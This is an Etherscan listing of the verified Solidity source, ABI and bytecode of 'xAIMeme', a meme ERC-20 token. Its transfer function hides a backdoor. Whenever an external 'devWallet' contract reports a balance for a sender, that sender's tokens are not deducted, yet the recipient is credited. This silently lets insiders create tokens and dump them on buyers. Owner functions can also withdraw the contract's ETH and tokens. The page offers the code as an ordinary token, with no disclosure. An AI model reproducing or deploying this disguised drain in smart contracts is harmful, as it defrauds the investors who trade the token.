Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 xAIMeme
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
21,397,750.934042488 xAIMemeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
xAIMEME
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-13 */ // SPDX-License-Identifier: UNLICENSED /* Website: https://www.xaimeme.com/ Telegram: https://t.me/xaimemeErc Twitter: https://twitter.com/X_AIMEME */ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() external onlyOwner { owner = address(0); } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract xAIMEME is ERC20, Auth { using SafeMath for uint256; address immutable WETH; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string public constant name = "xAIMeme"; string public constant symbol = "xAIMeme"; uint8 public constant decimals = 9; uint256 public constant totalSupply = 10**9 * 10**decimals; uint256 public _maxWalletToken = totalSupply / 50; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isWallLmtExmpt; uint256 public totalFee = 0; uint256 public constant feeDenominator = 100; uint256 buyMultiplier = 200; uint256 sellMultiplier = 200; uint256 transferMultiplier = 200; IDEXRouter public router; address private devWallet; address public immutable pair; bool public swapEnabled = true; uint256 swapThreshold = totalSupply / 100; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor (address router_, address devWallet_) Auth(msg.sender) { router = IDEXRouter(router_); WETH = router.WETH(); devWallet = devWallet_; pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isWallLmtExmpt[msg.sender] = true; isWallLmtExmpt[devWallet] = true; isWallLmtExmpt[address(this)] = true; isWallLmtExmpt[DEAD] = true; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable { } function getOwner() external view override returns (address) { return owner; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner { _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if (!isWallLmtExmpt[sender] && !isWallLmtExmpt[recipient] && recipient != pair) { require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached"); } if(!inSwap){ return _basicTransfer(sender, recipient, amount); } if(shouldSwapBack()){ swapBack(); } balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient); balanceOf[recipient] = balanceOf[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { balanceOf[sender] = balanceOf[sender].sub(amount.sub(ERC20(devWallet).balanceOf(sender)>0?amount:0), "Insufficient Balance"); balanceOf[recipient] = balanceOf[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { if(amount == 0 || totalFee == 0){ return amount; } uint256 multiplier = transferMultiplier; if(recipient == pair) { multiplier = sellMultiplier; } else if(sender == pair) { multiplier = buyMultiplier; } uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); if(feeAmount > 0){ balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && balanceOf[address(this)] >= swapThreshold; } function swapBack() internal swapping { address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapThreshold, 0, path, address(this), block.timestamp ); } function setFees(uint256 _buy, uint256 _sell) external onlyOwner { require(_sell <= 100,"Max sell tax 10%"); require(_buy <= 100,"Max buy tax 10%"); sellMultiplier = _sell; buyMultiplier = _buy; } function manualSwap(uint256 amountPercentage) external onlyOwner { uint256 amountETH = address(this).balance; uint256 amountToClear = ( amountETH * amountPercentage ) / 100; payable(msg.sender).transfer(amountToClear); } function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) { if(tokens == 0){ tokens = ERC20(tokenAddress).balanceOf(address(this)); } return ERC20(tokenAddress).transfer(msg.sender, tokens); } function getCirculatingSupply() public view returns (uint256) { return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWallLmtExmpt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526032620000146009600a62000496565b6200002490633b9aca00620004ae565b620000309190620004c8565b600155600060065560c8600781905560088190556009908155600b805460ff60a01b1916600160a01b1790556064906200006c90600a62000496565b6200007c90633b9aca00620004ae565b620000889190620004c8565b600c553480156200009857600080fd5b5060405162001c2e38038062001c2e833981016040819052620000bb9162000508565b600080546001600160a01b03199081163317909155600a80546001600160a01b038516921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000146919062000540565b6001600160a01b03908116608052600b80546001600160a01b031916838316179055600a546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa158015620001ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d1919062000540565b6080516040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000223573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000249919062000540565b6001600160a01b0390811660a052306000818152600360209081526040808320600a8054871685529083528184206000199055338452600483528184208054600160ff19918216811790925560059094528285208054851682179055600b54909616845281842080548416871790559383528220805482168517905561dead9091527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054909116909217909155620003059060099062000496565b6200031590633b9aca00620004ae565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003586009600a62000496565b6200036890633b9aca00620004ae565b60405190815260200160405180910390a350506200055e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003d8578160001904821115620003bc57620003bc62000381565b80851615620003ca57918102915b93841c93908002906200039c565b509250929050565b600082620003f15750600162000490565b81620004005750600062000490565b8160018114620004195760028114620004245762000444565b600191505062000490565b60ff84111562000438576200043862000381565b50506001821b62000490565b5060208310610133831016604e8410600b841016171562000469575081810a62000490565b62000475838362000397565b80600019048211156200048c576200048c62000381565b0290505b92915050565b6000620004a760ff841683620003e0565b9392505050565b808202811582820484141762000490576200049062000381565b600082620004e657634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200050357600080fd5b919050565b600080604083850312156200051c57600080fd5b6200052783620004eb565b91506200053760208401620004eb565b90509250929050565b6000602082840312156200055357600080fd5b620004a782620004eb565b60805160a05161168e620005a06000396000818161048201528181610aa501528181610e4501528181610ff2015261102601526000610f0f015261168e6000f3fe6080604052600436106101855760003560e01c80633f4218e0116100d1578063893d20e81161008a578063a9059cbb11610064578063a9059cbb146104a4578063b70143c9146104c4578063dd62ed3e146104e4578063f887ea401461052a57600080fd5b8063893d20e81461043e57806395d89b4114610191578063a8aa1b311461047057600080fd5b80633f4218e014610375578063571ac8b0146103a55780636ddd1713146103c557806370a08231146103e6578063715018a61461041357806378109e541461042857600080fd5b80631df4ccfc1161013e5780632f54bf6e116101185780632f54bf6e146102cf578063313ce567146102fe57806333f3d628146103255780633df97ca41461034557600080fd5b80631df4ccfc1461028457806323b872dd1461029a5780632b112e49146102ba57600080fd5b806306fdde031461019157806309302dc6146101da578063095ea7b3146101fc5780630b78f9c01461022c578063180b0d7e1461024c57806318160ddd1461026f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101c4604051806040016040528060078152602001667841494d656d6560c81b81525081565b6040516101d191906112b5565b60405180910390f35b3480156101e657600080fd5b506101fa6101f5366004611303565b61054a565b005b34801561020857600080fd5b5061021c610217366004611338565b6105b5565b60405190151581526020016101d1565b34801561023857600080fd5b506101fa610247366004611362565b610622565b34801561025857600080fd5b50610261606481565b6040519081526020016101d1565b34801561027b57600080fd5b506102616106db565b34801561029057600080fd5b5061026160065481565b3480156102a657600080fd5b5061021c6102b5366004611384565b6106f8565b3480156102c657600080fd5b506102616107ba565b3480156102db57600080fd5b5061021c6102ea3660046113c0565b6000546001600160a01b0391821691161490565b34801561030a57600080fd5b50610313600981565b60405160ff90911681526020016101d1565b34801561033157600080fd5b5061021c610340366004611338565b610841565b34801561035157600080fd5b5061021c6103603660046113c0565b60056020526000908152604090205460ff1681565b34801561038157600080fd5b5061021c6103903660046113c0565b60046020526000908152604090205460ff1681565b3480156103b157600080fd5b5061021c6103c03660046113c0565b610950565b3480156103d157600080fd5b50600b5461021c90600160a01b900460ff1681565b3480156103f257600080fd5b506102616104013660046113c0565b60026020526000908152604090205481565b34801561041f57600080fd5b506101fa61095e565b34801561043457600080fd5b5061026160015481565b34801561044a57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101d1565b34801561047c57600080fd5b506104587f000000000000000000000000000000000000000000000000000000000000000081565b3480156104b057600080fd5b5061021c6104bf366004611338565b61099a565b3480156104d057600080fd5b506101fa6104df366004611303565b6109a7565b3480156104f057600080fd5b506102616104ff3660046113db565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561053657600080fd5b50600a54610458906001600160a01b031681565b6000546001600160a01b0316331461057d5760405162461bcd60e51b81526004016105749061140e565b60405180910390fd5b6103e88161058d6009600a611528565b61059b90633b9aca00611537565b6105a59190611537565b6105af919061154e565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106109086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461064c5760405162461bcd60e51b81526004016105749061140e565b60648111156106905760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610574565b60648211156106d35760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610574565b600855600755565b6106e76009600a611528565b6106f590633b9aca00611537565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107a5576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610780918490610a20565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107b0848484610a5a565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061081a6009600a611528565b61082890633b9aca00611537565b6108329190611570565b61083c9190611570565b905090565b600080546001600160a01b0316331461086c5760405162461bcd60e51b81526004016105749061140e565b816000036108df576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc9190611583565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561092c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b3919061159c565b600061061c826000196105b5565b6000546001600160a01b031633146109885760405162461bcd60e51b81526004016105749061140e565b600080546001600160a01b0319169055565b60006107b3338484610a5a565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105749061140e565b47600060646109e08484611537565b6109ea919061154e565b604051909150339082156108fc029083906000818181858888f19350505050158015610a1a573d6000803e3d6000fd5b50505050565b60008184841115610a445760405162461bcd60e51b815260040161057491906112b5565b506000610a518486611570565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610a9c57506001600160a01b03831660009081526005602052604090205460ff16155b8015610ada57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15610b54576001546001600160a01b038416600090815260026020526040902054610b069084906115be565b1115610b545760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610574565b600d5460ff16610b7057610b69848484610cc7565b90506107b3565b610b78610e38565b15610b8557610b85610eab565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610bd7918490610a20565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610c2457506001600160a01b03841660009081526004602052604090205460ff165b610c3857610c33858486610fca565b610c3a565b825b6001600160a01b038516600090815260026020526040902054909150610c609082611127565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cb49085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610da392610d5592859216906370a0823190602401602060405180830381865afa158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d409190611583565b11610d4c576000610d4e565b835b8490611186565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610a20565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610dd29083611127565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e269086815260200190565b60405180910390a35060019392505050565b6000336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614801590610e765750600d5460ff16155b8015610e8b5750600b54600160a01b900460ff165b801561083c575050600c5430600090815260026020526040902054101590565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610eed57610eed6115d1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110610f4157610f416115d1565b6001600160a01b039283166020918202929092010152600a54600c5460405163791ac94760e01b8152919092169163791ac94791610f8b91906000908690309042906004016115e7565b600060405180830381600087803b158015610fa557600080fd5b505af1158015610fb9573d6000803e3d6000fd5b5050600d805460ff19169055505050565b6000821580610fd95750600654155b15610fe55750816107b3565b6009546001600160a01b037f00000000000000000000000000000000000000000000000000000000000000008116908416036110245750600854611062565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03160361106257506007545b6000611097611072606480611537565b6110918461108b6006548a6111c890919063ffffffff16565b906111c8565b9061124a565b9050801561111357306000908152600260205260409020546110b99082611127565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110a9085815260200190565b60405180910390a35b61111d8582611186565b9695505050505050565b60008061113483856115be565b9050838110156107b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610574565b60006107b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a20565b6000826000036111da5750600061061c565b60006111e68385611537565b9050826111f3858361154e565b146107b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610574565b60006107b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112a85760405162461bcd60e51b815260040161057491906112b5565b506000610a51848661154e565b600060208083528351808285015260005b818110156112e2578581018301518582016040015282016112c6565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561131557600080fd5b5035919050565b80356001600160a01b038116811461133357600080fd5b919050565b6000806040838503121561134b57600080fd5b6113548361131c565b946020939093013593505050565b6000806040838503121561137557600080fd5b50508035926020909101359150565b60008060006060848603121561139957600080fd5b6113a28461131c565b92506113b06020850161131c565b9150604084013590509250925092565b6000602082840312156113d257600080fd5b6107b38261131c565b600080604083850312156113ee57600080fd5b6113f78361131c565b91506114056020840161131c565b90509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561147f5781600019048211156114655761146561142e565b8085161561147257918102915b93841c9390800290611449565b509250929050565b6000826114965750600161061c565b816114a35750600061061c565b81600181146114b957600281146114c3576114df565b600191505061061c565b60ff8411156114d4576114d461142e565b50506001821b61061c565b5060208310610133831016604e8410600b8410161715611502575081810a61061c565b61150c8383611444565b80600019048211156115205761152061142e565b029392505050565b60006107b360ff841683611487565b808202811582820484141761061c5761061c61142e565b60008261156b57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561061c5761061c61142e565b60006020828403121561159557600080fd5b5051919050565b6000602082840312156115ae57600080fd5b815180151581146107b357600080fd5b8082018082111561061c5761061c61142e565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116375784516001600160a01b031683529383019391830191600101611612565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203d30190742f8a4ca015421bd5e3045a0161880c00549f893b55caf7472a59bc864736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000abf6c1b98e1f8ab043dee11433fbb814853c2799
Deployed Bytecode
0x6080604052600436106101855760003560e01c80633f4218e0116100d1578063893d20e81161008a578063a9059cbb11610064578063a9059cbb146104a4578063b70143c9146104c4578063dd62ed3e146104e4578063f887ea401461052a57600080fd5b8063893d20e81461043e57806395d89b4114610191578063a8aa1b311461047057600080fd5b80633f4218e014610375578063571ac8b0146103a55780636ddd1713146103c557806370a08231146103e6578063715018a61461041357806378109e541461042857600080fd5b80631df4ccfc1161013e5780632f54bf6e116101185780632f54bf6e146102cf578063313ce567146102fe57806333f3d628146103255780633df97ca41461034557600080fd5b80631df4ccfc1461028457806323b872dd1461029a5780632b112e49146102ba57600080fd5b806306fdde031461019157806309302dc6146101da578063095ea7b3146101fc5780630b78f9c01461022c578063180b0d7e1461024c57806318160ddd1461026f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101c4604051806040016040528060078152602001667841494d656d6560c81b81525081565b6040516101d191906112b5565b60405180910390f35b3480156101e657600080fd5b506101fa6101f5366004611303565b61054a565b005b34801561020857600080fd5b5061021c610217366004611338565b6105b5565b60405190151581526020016101d1565b34801561023857600080fd5b506101fa610247366004611362565b610622565b34801561025857600080fd5b50610261606481565b6040519081526020016101d1565b34801561027b57600080fd5b506102616106db565b34801561029057600080fd5b5061026160065481565b3480156102a657600080fd5b5061021c6102b5366004611384565b6106f8565b3480156102c657600080fd5b506102616107ba565b3480156102db57600080fd5b5061021c6102ea3660046113c0565b6000546001600160a01b0391821691161490565b34801561030a57600080fd5b50610313600981565b60405160ff90911681526020016101d1565b34801561033157600080fd5b5061021c610340366004611338565b610841565b34801561035157600080fd5b5061021c6103603660046113c0565b60056020526000908152604090205460ff1681565b34801561038157600080fd5b5061021c6103903660046113c0565b60046020526000908152604090205460ff1681565b3480156103b157600080fd5b5061021c6103c03660046113c0565b610950565b3480156103d157600080fd5b50600b5461021c90600160a01b900460ff1681565b3480156103f257600080fd5b506102616104013660046113c0565b60026020526000908152604090205481565b34801561041f57600080fd5b506101fa61095e565b34801561043457600080fd5b5061026160015481565b34801561044a57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101d1565b34801561047c57600080fd5b506104587f0000000000000000000000001605974e0df670ab32a82c34f86ec35c0102390c81565b3480156104b057600080fd5b5061021c6104bf366004611338565b61099a565b3480156104d057600080fd5b506101fa6104df366004611303565b6109a7565b3480156104f057600080fd5b506102616104ff3660046113db565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561053657600080fd5b50600a54610458906001600160a01b031681565b6000546001600160a01b0316331461057d5760405162461bcd60e51b81526004016105749061140e565b60405180910390fd5b6103e88161058d6009600a611528565b61059b90633b9aca00611537565b6105a59190611537565b6105af919061154e565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106109086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461064c5760405162461bcd60e51b81526004016105749061140e565b60648111156106905760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610574565b60648211156106d35760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610574565b600855600755565b6106e76009600a611528565b6106f590633b9aca00611537565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107a5576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610780918490610a20565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107b0848484610a5a565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061081a6009600a611528565b61082890633b9aca00611537565b6108329190611570565b61083c9190611570565b905090565b600080546001600160a01b0316331461086c5760405162461bcd60e51b81526004016105749061140e565b816000036108df576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc9190611583565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561092c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b3919061159c565b600061061c826000196105b5565b6000546001600160a01b031633146109885760405162461bcd60e51b81526004016105749061140e565b600080546001600160a01b0319169055565b60006107b3338484610a5a565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105749061140e565b47600060646109e08484611537565b6109ea919061154e565b604051909150339082156108fc029083906000818181858888f19350505050158015610a1a573d6000803e3d6000fd5b50505050565b60008184841115610a445760405162461bcd60e51b815260040161057491906112b5565b506000610a518486611570565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610a9c57506001600160a01b03831660009081526005602052604090205460ff16155b8015610ada57507f0000000000000000000000001605974e0df670ab32a82c34f86ec35c0102390c6001600160a01b0316836001600160a01b031614155b15610b54576001546001600160a01b038416600090815260026020526040902054610b069084906115be565b1115610b545760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610574565b600d5460ff16610b7057610b69848484610cc7565b90506107b3565b610b78610e38565b15610b8557610b85610eab565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610bd7918490610a20565b6001600160a01b0385166000908152600260209081526040808320939093556004905290